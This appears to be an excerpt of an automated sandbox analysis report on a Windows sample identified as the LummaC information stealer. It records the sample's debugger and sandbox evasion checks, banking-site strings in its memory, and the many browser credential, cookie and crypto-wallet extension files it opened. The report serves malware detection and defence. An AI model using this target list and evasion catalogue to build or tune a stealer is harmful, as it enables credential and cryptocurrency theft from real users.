Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62AC12F second address: 62AC134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62AC134 second address: 62AC139 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 42CA65 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 42C98E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D2A92 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 42C9E8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 65DC3D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 636EDEC instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6292	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6572	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5536	Thread sleep time: -40020s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2120459307.0000000005785000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2120459307.0000000005785000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2120553049.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2195299538.0000000000EE4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 4024, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2195411643.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.2195411643.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe, 00000000.00000003.2171695107.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.2195411643.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2195411643.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.2171695107.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.2195411643.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000003.2171695107.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2171695107.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
